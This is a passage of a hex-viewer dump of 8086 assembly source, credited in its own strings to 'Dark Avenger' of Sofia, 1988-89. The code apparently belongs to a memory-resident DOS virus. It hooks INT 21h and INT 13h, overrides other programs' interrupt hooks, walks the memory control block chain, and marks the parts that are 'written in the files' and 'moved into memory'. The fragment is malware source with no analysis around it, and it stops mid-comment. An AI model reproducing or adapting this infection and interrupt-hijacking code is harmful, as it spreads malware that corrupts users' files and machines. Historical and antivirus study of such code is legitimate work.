|00005690| 32 31 68 20 28 79 65 74 | 20 61 6e 6f 74 68 65 72 |21h (yet| another|
|000056a0| 20 73 6f 75 72 63 65 20 | 6f 66 20 63 6f 6e 66 6c | source |of confl|
|000056b0| 69 63 74 73 29 2e 0a 20 | 0a 6f 6e 74 6f 70 3a 0a |icts).. |.ontop:.|
|000056c0| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 20 20 20 | |push |
|000056d0| 64 73 0a 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |ds. | push |
|000056e0| 20 20 20 61 78 0a 20 20 | 20 20 20 20 20 20 70 75 | ax. | pu|
|000056f0| 73 68 20 20 20 20 62 78 | 0a 20 20 20 20 20 20 20 |sh bx|. |
|00005700| 20 70 75 73 68 20 20 20 | 20 64 78 0a 20 20 20 20 | push | dx. |
|00005710| 20 20 20 20 78 6f 72 20 | 20 20 20 20 62 78 2c 62 | xor | bx,b|
|00005720| 78 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |x. | mov |
|00005730| 20 20 64 73 2c 62 78 0a | 20 20 20 20 20 20 20 20 | ds,bx.| |
|00005740| 6c 64 73 20 20 20 20 20 | 64 78 2c 64 73 3a 5b 32 |lds |dx,ds:[2|
|00005750| 31 68 2a 34 5d 0a 20 20 | 20 20 20 20 20 20 63 6d |1h*4]. | cm|
|00005760| 70 20 20 20 20 20 64 78 | 2c 6f 66 66 73 65 74 20 |p dx|,offset |
|00005770| 69 6e 74 5f 32 31 0a 20 | 20 20 20 20 20 20 20 6a |int_21. | j|
|00005780| 6e 65 20 20 20 20 20 73 | 65 61 72 63 68 5f 73 65 |ne s|earch_se|
|00005790| 67 6d 65 6e 74 0a 20 20 | 20 20 20 20 20 20 6d 6f |gment. | mo|
|000057a0| 76 20 20 20 20 20 61 78 | 2c 64 73 0a 20 20 20 20 |v ax|,ds. |
|000057b0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 62 78 2c 63 | mov | bx,c|
|000057c0| 73 0a 20 20 20 20 20 20 | 20 20 63 6d 70 20 20 20 |s. | cmp |
|000057d0| 20 20 61 78 2c 62 78 0a | 20 20 20 20 20 20 20 20 | ax,bx.| |
|000057e0| 6a 65 20 20 20 20 20 20 | 74 65 73 74 5f 63 6f 6d |je |test_com|
|000057f0| 70 6c 65 74 65 0a 20 0a | 3b 20 53 65 61 72 63 68 |plete. .|; Search|
|00005800| 65 73 20 74 68 65 20 73 | 65 67 6d 65 6e 74 20 6f |es the s|egment o|
|00005810| 66 20 74 68 65 20 73 75 | 63 6b 65 72 20 77 68 6f |f the su|cker who|
|00005820| 20 68 61 73 20 69 6e 74 | 65 72 63 65 70 74 65 64 | has int|ercepted|
|00005830| 20 49 4e 54 20 32 31 68 | 2c 20 69 6e 0a 3b 20 6f | INT 21h|, in.; o|
|00005840| 72 64 65 72 20 74 6f 20 | 66 69 6e 64 20 77 68 65 |rder to |find whe|
|00005850| 72 65 20 69 74 20 68 61 | 73 20 73 74 6f 72 65 64 |re it ha|s stored|
|00005860| 20 74 68 65 20 6f 6c 64 | 20 76 61 6c 75 65 73 20 | the old| values |
|00005870| 61 6e 64 20 74 6f 20 72 | 65 70 6c 61 63 65 20 74 |and to r|eplace t|
|00005880| 68 65 6d 2e 0a 3b 20 4e | 6f 74 68 69 6e 67 20 69 |hem..; N|othing i|
|00005890| 73 20 64 6f 6e 65 20 66 | 6f 72 20 49 4e 54 20 32 |s done f|or INT 2|
|000058a0| 37 68 2e 0a 20 0a 20 20 | 20 20 20 20 20 20 78 6f |7h.. . | xo|
|000058b0| 72 20 20 20 20 20 62 78 | 2c 62 78 0a 73 65 61 72 |r bx|,bx.sear|
|000058c0| 63 68 5f 73 65 67 6d 65 | 6e 74 3a 0a 20 20 20 20 |ch_segme|nt:. |
|000058d0| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 61 78 2c 5b | mov | ax,[|
|000058e0| 62 78 5d 0a 20 20 20 20 | 20 20 20 20 63 6d 70 20 |bx]. | cmp |
|000058f0| 20 20 20 20 61 78 2c 6f | 66 66 73 65 74 20 69 6e | ax,o|ffset in|
|00005900| 74 5f 32 31 0a 20 20 20 | 20 20 20 20 20 6a 6e 65 |t_21. | jne|
|00005910| 20 20 20 20 20 73 65 61 | 72 63 68 5f 6e 65 78 74 | sea|rch_next|
|00005920| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |. | mov |
|00005930| 20 61 78 2c 63 73 0a 20 | 20 20 20 20 20 20 20 63 | ax,cs. | c|
|00005940| 6d 70 20 20 20 20 20 61 | 78 2c 5b 62 78 2b 32 5d |mp a|x,[bx+2]|
|00005950| 0a 20 20 20 20 20 20 20 | 20 6a 65 20 20 20 20 20 |. | je |
|00005960| 20 67 6f 74 5f 68 69 6d | 0a 73 65 61 72 63 68 5f | got_him|.search_|
|00005970| 6e 65 78 74 3a 0a 20 20 | 20 20 20 20 20 20 69 6e |next:. | in|
|00005980| 63 20 20 20 20 20 62 78 | 0a 20 20 20 20 20 20 20 |c bx|. |
|00005990| 20 6a 6e 65 20 20 20 20 | 20 73 65 61 72 63 68 5f | jne | search_|
|000059a0| 73 65 67 6d 65 6e 74 0a | 20 20 20 20 20 20 20 20 |segment.| |
|000059b0| 6a 65 20 20 20 20 20 20 | 72 65 74 75 72 6e 5f 63 |je |return_c|
|000059c0| 6f 6e 74 72 6f 6c 0a 67 | 6f 74 5f 68 69 6d 3a 0a |ontrol.g|ot_him:.|
|000059d0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|000059e0| 61 78 2c 77 6f 72 64 20 | 70 74 72 20 63 73 3a 5b |ax,word |ptr cs:[|
|000059f0| 73 61 76 65 5f 69 6e 74 | 5f 32 31 5d 0a 20 20 20 |save_int|_21]. |
|00005a00| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 5b 62 78 | mov| [bx|
|00005a10| 5d 2c 61 78 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |],ax. | mov|
|00005a20| 20 20 20 20 20 61 78 2c | 77 6f 72 64 20 70 74 72 | ax,|word ptr|
|00005a30| 20 63 73 3a 5b 73 61 76 | 65 5f 69 6e 74 5f 32 31 | cs:[sav|e_int_21|
|00005a40| 2b 32 5d 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |+2]. | mov |
|00005a50| 20 20 20 20 5b 62 78 2b | 32 5d 2c 61 78 0a 20 20 | [bx+|2],ax. |
|00005a60| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 77 6f | mo|v wo|
|00005a70| 72 64 20 70 74 72 20 63 | 73 3a 5b 73 61 76 65 5f |rd ptr c|s:[save_|
|00005a80| 69 6e 74 5f 32 31 5d 2c | 64 78 0a 20 20 20 20 20 |int_21],|dx. |
|00005a90| 20 20 20 6d 6f 76 20 20 | 20 20 20 77 6f 72 64 20 | mov | word |
|00005aa0| 70 74 72 20 63 73 3a 5b | 73 61 76 65 5f 69 6e 74 |ptr cs:[|save_int|
|00005ab0| 5f 32 31 2b 32 5d 2c 64 | 73 0a 20 20 20 20 20 20 |_21+2],d|s. |
|00005ac0| 20 20 78 6f 72 20 20 20 | 20 20 62 78 2c 62 78 0a | xor | bx,bx.|
|00005ad0| 20 0a 3b 20 45 76 65 6e | 20 69 66 20 68 65 20 68 | .; Even| if he h|
|00005ae0| 61 73 20 6e 6f 74 20 73 | 61 76 65 64 20 74 68 65 |as not s|aved the|
|00005af0| 6d 20 69 6e 20 74 68 65 | 20 73 61 6d 65 20 73 65 |m in the| same se|
|00005b00| 67 6d 65 6e 74 2c 20 74 | 68 69 73 20 77 6f 6e 27 |gment, t|his won'|
|00005b10| 74 20 68 65 6c 70 20 0a | 68 69 6d 2e 0a 20 0a 72 |t help .|him.. .r|
|00005b20| 65 74 75 72 6e 5f 63 6f | 6e 74 72 6f 6c 3a 0a 20 |eturn_co|ntrol:. |
|00005b30| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 64 | m|ov d|
|00005b40| 73 2c 62 78 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |s,bx. | mov|
|00005b50| 20 20 20 20 20 64 73 3a | 5b 32 31 68 2a 34 5d 2c | ds:|[21h*4],|
|00005b60| 6f 66 66 73 65 74 20 69 | 6e 74 5f 32 31 0a 20 20 |offset i|nt_21. |
|00005b70| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 64 73 | mo|v ds|
|00005b80| 3a 5b 32 31 68 2a 34 2b | 32 5d 2c 63 73 0a 74 65 |:[21h*4+|2],cs.te|
|00005b90| 73 74 5f 63 6f 6d 70 6c | 65 74 65 3a 0a 20 20 20 |st_compl|ete:. |
|00005ba0| 20 20 20 20 20 70 6f 70 | 20 20 20 20 20 64 78 0a | pop| dx.|
|00005bb0| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 | |pop |
|00005bc0| 62 78 0a 20 20 20 20 20 | 20 20 20 70 6f 70 20 20 |bx. | pop |
|00005bd0| 20 20 20 61 78 0a 20 20 | 20 20 20 20 20 20 70 6f | ax. | po|
|00005be0| 70 20 20 20 20 20 64 73 | 0a 20 20 20 20 20 20 20 |p ds|. |
|00005bf0| 20 72 65 74 0a 20 0a 3b | 20 46 65 74 63 68 20 74 | ret. .;| Fetch t|
|00005c00| 68 65 20 73 65 67 6d 65 | 6e 74 20 6f 66 20 74 68 |he segme|nt of th|
|00005c10| 65 20 6c 61 73 74 20 4d | 43 42 0a 20 0a 67 65 74 |e last M|CB. .get|
|00005c20| 5f 63 68 61 69 6e 3a 0a | 20 20 20 20 20 20 20 20 |_chain:.| |
|00005c30| 70 75 73 68 20 20 20 20 | 61 78 0a 20 20 20 20 20 |push |ax. |
|00005c40| 20 20 20 70 75 73 68 20 | 20 20 20 62 78 0a 20 20 | push | bx. |
|00005c50| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 68 | mo|v ah|
|00005c60| 2c 36 32 68 0a 20 20 20 | 20 20 20 20 20 63 61 6c |,62h. | cal|
|00005c70| 6c 20 20 20 20 66 75 6e | 63 74 69 6f 6e 0a 20 20 |l fun|ction. |
|00005c80| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 78 | mo|v ax|
|00005c90| 2c 63 73 0a 20 20 20 20 | 20 20 20 20 64 65 63 20 |,cs. | dec |
|00005ca0| 20 20 20 20 61 78 0a 20 | 20 20 20 20 20 20 20 64 | ax. | d|
|00005cb0| 65 63 20 20 20 20 20 62 | 78 0a 6e 65 78 74 5f 62 |ec b|x.next_b|
|00005cc0| 6c 6b 3a 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |lk:. | mov |
|00005cd0| 20 20 20 20 64 73 2c 62 | 78 0a 20 20 20 20 20 20 | ds,b|x. |
|00005ce0| 20 20 73 74 63 0a 20 20 | 20 20 20 20 20 20 61 64 | stc. | ad|
|00005cf0| 63 20 20 20 20 20 62 78 | 2c 64 73 3a 5b 33 5d 0a |c bx|,ds:[3].|
|00005d00| 20 20 20 20 20 20 20 20 | 63 6d 70 20 20 20 20 20 | |cmp |
|00005d10| 62 78 2c 61 78 0a 20 20 | 20 20 20 20 20 20 6a 63 |bx,ax. | jc|
|00005d20| 20 20 20 20 20 20 6e 65 | 78 74 5f 62 6c 6b 0a 20 | ne|xt_blk. |
|00005d30| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 62 | p|op b|
|00005d40| 78 0a 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 |x. | pop |
|00005d50| 20 20 61 78 0a 20 20 20 | 20 20 20 20 20 72 65 74 | ax. | ret|
|00005d60| 0a 20 0a 3b 20 4d 75 6c | 74 69 70 6c 79 20 62 79 |. .; Mul|tiply by|
|00005d70| 20 31 36 0a 20 0a 6d 75 | 6c 5f 68 64 72 3a 0a 20 | 16. .mu|l_hdr:. |
|00005d80| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 61 | m|ov a|
|00005d90| 78 2c 77 6f 72 64 20 70 | 74 72 20 5b 74 6f 70 5f |x,word p|tr [top_|
|00005da0| 73 61 76 65 2b 38 5d 0a | 6d 75 6c 5f 31 36 3a 0a |save+8].|mul_16:.|
|00005db0| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00005dc0| 64 78 2c 31 30 68 0a 20 | 20 20 20 20 20 20 20 6d |dx,10h. | m|
|00005dd0| 75 6c 20 20 20 20 20 64 | 78 0a 20 20 20 20 20 20 |ul d|x. |
|00005de0| 20 20 72 65 74 0a 20 0a | 20 20 20 20 20 20 20 20 | ret. .| |
|00005df0| 64 62 20 20 20 20 20 20 | 27 54 68 69 73 20 70 72 |db |'This pr|
|00005e00| 6f 67 72 61 6d 20 77 61 | 73 20 77 72 69 74 74 65 |ogram wa|s writte|
|00005e10| 6e 20 69 6e 20 74 68 65 | 20 63 69 74 79 20 6f 66 |n in the| city of|
|00005e20| 20 53 6f 66 69 61 20 27 | 0a 20 20 20 20 20 20 20 | Sofia '|. |
|00005e30| 20 64 62 20 20 20 20 20 | 20 27 28 43 29 20 31 39 | db | '(C) 19|
|00005e40| 38 38 2d 38 39 20 44 61 | 72 6b 20 41 76 65 6e 67 |88-89 Da|rk Aveng|
|00005e50| 65 72 27 2c 30 0a 20 0a | 3b 20 49 4e 54 20 31 33 |er',0. .|; INT 13|
|00005e60| 68 20 68 61 6e 64 6c 65 | 72 2e 0a 3b 20 43 61 6c |h handle|r..; Cal|
|00005e70| 6c 73 20 74 68 65 20 6f | 72 69 67 69 6e 61 6c 20 |ls the o|riginal |
|00005e80| 76 65 63 74 6f 72 73 20 | 69 6e 20 42 49 4f 53 2c |vectors |in BIOS,|
|00005e90| 20 69 66 20 69 74 27 73 | 20 61 20 77 72 69 74 69 | if it's| a writi|
|00005ea0| 6e 67 20 63 61 6c 6c 0a | 20 0a 69 6e 74 5f 31 33 |ng call.| .int_13|
|00005eb0| 3a 0a 20 20 20 20 20 20 | 20 20 63 6d 70 20 20 20 |:. | cmp |
|00005ec0| 20 20 61 68 2c 33 0a 20 | 20 20 20 20 20 20 20 6a | ah,3. | j|
|00005ed0| 6e 7a 20 20 20 20 20 73 | 75 62 66 6e 5f 6f 6b 0a |nz s|ubfn_ok.|
|00005ee0| 20 20 20 20 20 20 20 20 | 63 6d 70 20 20 20 20 20 | |cmp |
|00005ef0| 64 6c 2c 38 30 68 0a 20 | 20 20 20 20 20 20 20 6a |dl,80h. | j|
|00005f00| 6e 63 20 20 20 20 20 68 | 64 69 73 6b 0a 20 20 20 |nc h|disk. |
|00005f10| 20 20 20 20 20 64 62 20 | 20 20 20 20 20 30 65 61 | db | 0ea|
|00005f20| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h | |
|00005f30| 20 20 20 20 20 3b 4a 4d | 50 20 58 58 58 58 3a 59 | ;JM|P XXXX:Y|
|00005f40| 59 59 59 0a 6d 79 5f 73 | 69 7a 65 3a 20 20 20 20 |YYY.my_s|ize: |
|00005f50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005f60| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 2d 2d 2d | | ;---|
|00005f70| 20 55 70 20 74 6f 20 68 | 65 72 65 20 63 6f 6d 70 | Up to h|ere comp|
|00005f80| 61 72 69 73 6f 6e 0a 64 | 69 73 6b 3a 20 20 20 20 |arison.d|isk: |
|00005f90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005fa0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00005fb0| 20 77 69 74 68 20 74 68 | 65 20 6f 72 69 67 69 6e | with th|e origin|
|00005fc0| 61 6c 20 69 73 20 6d 61 | 64 65 0a 20 20 20 20 20 |al is ma|de. |
|00005fd0| 20 20 20 64 64 20 20 20 | 20 20 20 30 0a 68 64 69 | dd | 0.hdi|
|00005fe0| 73 6b 3a 0a 20 20 20 20 | 20 20 20 20 64 62 20 20 |sk:. | db |
|00005ff0| 20 20 20 20 30 65 61 68 | 20 20 20 20 20 20 20 20 | 0eah| |
|00006000| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 4a 4d 50 | | ;JMP|
|00006010| 20 58 58 58 58 3a 59 59 | 59 59 0a 66 64 69 73 6b | XXXX:YY|YY.fdisk|
|00006020| 3a 0a 20 20 20 20 20 20 | 20 20 64 64 20 20 20 20 |:. | dd |
|00006030| 20 20 30 0a 73 75 62 66 | 6e 5f 6f 6b 3a 0a 20 20 | 0.subf|n_ok:. |
|00006040| 20 20 20 20 20 20 64 62 | 20 20 20 20 20 20 30 65 | db| 0e|
|00006050| 61 68 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ah | |
|00006060| 20 20 20 20 20 20 3b 4a | 4d 50 20 58 58 58 58 3a | ;J|MP XXXX:|
|00006070| 59 59 59 59 0a 73 61 76 | 65 5f 69 6e 74 5f 31 33 |YYYY.sav|e_int_13|
|00006080| 3a 0a 20 20 20 20 20 20 | 20 20 64 64 20 20 20 20 |:. | dd |
|00006090| 20 20 30 0a 63 61 6c 6c | 5f 61 64 72 3a 0a 20 20 | 0.call|_adr:. |
|000060a0| 20 20 20 20 20 20 64 64 | 20 20 20 20 20 20 31 30 | dd| 10|
|000060b0| 30 68 0a 20 0a 73 74 61 | 63 6b 5f 70 6f 69 6e 74 |0h. .sta|ck_point|
|000060c0| 65 72 3a 0a 20 20 20 20 | 20 20 20 20 64 64 20 20 |er:. | dd |
|000060d0| 20 20 20 20 30 20 20 20 | 20 20 20 20 20 20 20 20 | 0 | |
|000060e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 54 68 65 | | ;The|
|000060f0| 20 6f 72 69 67 69 6e 61 | 6c 20 76 61 6c 75 65 20 | origina|l value |
|00006100| 6f 66 20 53 53 3a 53 50 | 0a 6d 79 5f 73 61 76 65 |of SS:SP|.my_save|
|00006110| 3a 0a 20 20 20 20 20 20 | 20 20 69 6e 74 20 20 20 |:. | int |
|00006120| 20 20 32 30 68 20 20 20 | 20 20 20 20 20 20 20 20 | 20h | |
|00006130| 20 20 20 20 20 20 20 20 | 20 20 3b 54 68 65 20 6f | | ;The o|
|00006140| 72 69 67 69 6e 61 6c 20 | 63 6f 6e 74 65 6e 74 73 |riginal |contents|
|00006150| 20 6f 66 20 74 68 65 20 | 0a 66 69 72 73 74 0a 20 | of the |.first. |
|00006160| 20 20 20 20 20 20 20 6e | 6f 70 20 20 20 20 20 20 | n|op |
|00006170| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00006180| 20 20 20 20 20 20 20 3b | 33 20 62 79 74 65 73 20 | ;|3 bytes |
|00006190| 6f 66 20 74 68 65 20 66 | 69 6c 65 0a 74 6f 70 5f |of the f|ile.top_|
|000061a0| 66 69 6c 65 3a 20 20 20 | 20 20 20 20 20 20 20 20 |file: | |
|000061b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000061c0| 20 20 20 20 3b 2d 2d 2d | 20 55 70 20 74 6f 20 68 | ;---| Up to h|
|000061d0| 65 72 65 20 74 68 65 20 | 63 6f 64 65 20 69 73 20 |ere the |code is |
|000061e0| 0a 77 72 69 74 74 65 6e | 0a 66 69 6c 65 68 6e 64 |.written|.filehnd|
|000061f0| 6c 20 20 20 20 65 71 75 | 20 24 20 20 20 20 20 20 |l equ| $ |
|00006200| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00006210| 20 3b 20 69 6e 20 74 68 | 65 20 66 69 6c 65 73 0a | ; in th|e files.|
|00006220| 66 69 6c 65 6e 61 6d 65 | 20 20 20 20 65 71 75 20 |filename| equ |
|00006230| 66 69 6c 65 68 6e 64 6c | 2b 32 20 20 20 20 20 20 |filehndl|+2 |
|00006240| 20 20 20 20 20 20 20 20 | 3b 42 75 66 66 65 72 20 | |;Buffer |
|00006250| 66 6f 72 20 74 68 65 20 | 6e 61 6d 65 20 6f 66 20 |for the |name of |
|00006260| 74 68 65 20 0a 6f 70 65 | 6e 65 64 20 66 69 6c 65 |the .ope|ned file|
|00006270| 0a 73 61 76 65 5f 69 6e | 74 5f 32 37 20 65 71 75 |.save_in|t_27 equ|
|00006280| 20 66 69 6c 65 6e 61 6d | 65 2b 36 35 20 20 20 20 | filenam|e+65 |
|00006290| 20 20 20 20 20 20 20 20 | 20 3b 4f 72 69 67 69 6e | | ;Origin|
|000062a0| 61 6c 20 49 4e 54 20 32 | 37 68 20 76 65 63 74 6f |al INT 2|7h vecto|
|000062b0| 72 0a 73 61 76 65 5f 69 | 6e 74 5f 32 31 20 65 71 |r.save_i|nt_21 eq|
|000062c0| 75 20 73 61 76 65 5f 69 | 6e 74 5f 32 37 2b 34 20 |u save_i|nt_27+4 |
|000062d0| 20 20 20 20 20 20 20 20 | 20 20 3b 4f 72 69 67 69 | | ;Origi|
|000062e0| 6e 61 6c 20 49 4e 54 20 | 32 31 68 20 76 65 63 74 |nal INT |21h vect|
|000062f0| 6f 72 0a 61 75 78 5f 73 | 69 7a 65 20 20 20 20 65 |or.aux_s|ize e|
|00006300| 71 75 20 73 61 76 65 5f | 69 6e 74 5f 32 31 2b 34 |qu save_|int_21+4|
|00006310| 20 20 20 20 20 20 20 20 | 20 20 20 3b 2d 2d 2d 20 | | ;--- |
|00006320| 55 70 20 74 6f 20 68 65 | 72 65 20 69 73 20 6d 6f |Up to he|re is mo|
|00006330| 76 65 64 20 69 6e 74 6f | 20 0a 6d 65 6d 6f 72 79 |ved into| .memory|
|00006340| 0a 74 6f 70 5f 73 61 76 | 65 20 20 20 20 65 71 75 |.top_sav|e equ|
|00006350| 20 73 61 76 65 5f 69 6e | 74 5f 32 31 2b 34 20 20 | save_in|t_21+4 |
|00006360| 20 20 20 20 20 20 20 20 | 20 3b 42 65 67 69 6e 6e | | ;Beginn|
|00006370| 69 6e 67 20 6f 66 20 74 | 68 65 20 62 75 66 66 65 |ing of t|he buffe|
|00006380| 72 2c 20 77 68 69 63 68 | 0a 20 20 20 20 20 20 20 |r, which|. |
|00006390| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000063a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000063b0| 20 3b 63 6f 6e 74 61 69 | 6e 73 0a 20 20 20 20 20 | ;contai|ns. |
|000063c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000063d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000063e0| 20 20 20 3b 20 2d 20 54 | 68 65 20 66 69 72 73 74 | ; - T|he first|
|000063f0| 20 32 34 20 62 79 74 65 | 73 20 72 65 61 64 20 66 | 24 byte|s read f|
+--------+-------------------------+-------------------------+--------+--------+
Only 25.0 KB of data is shown above.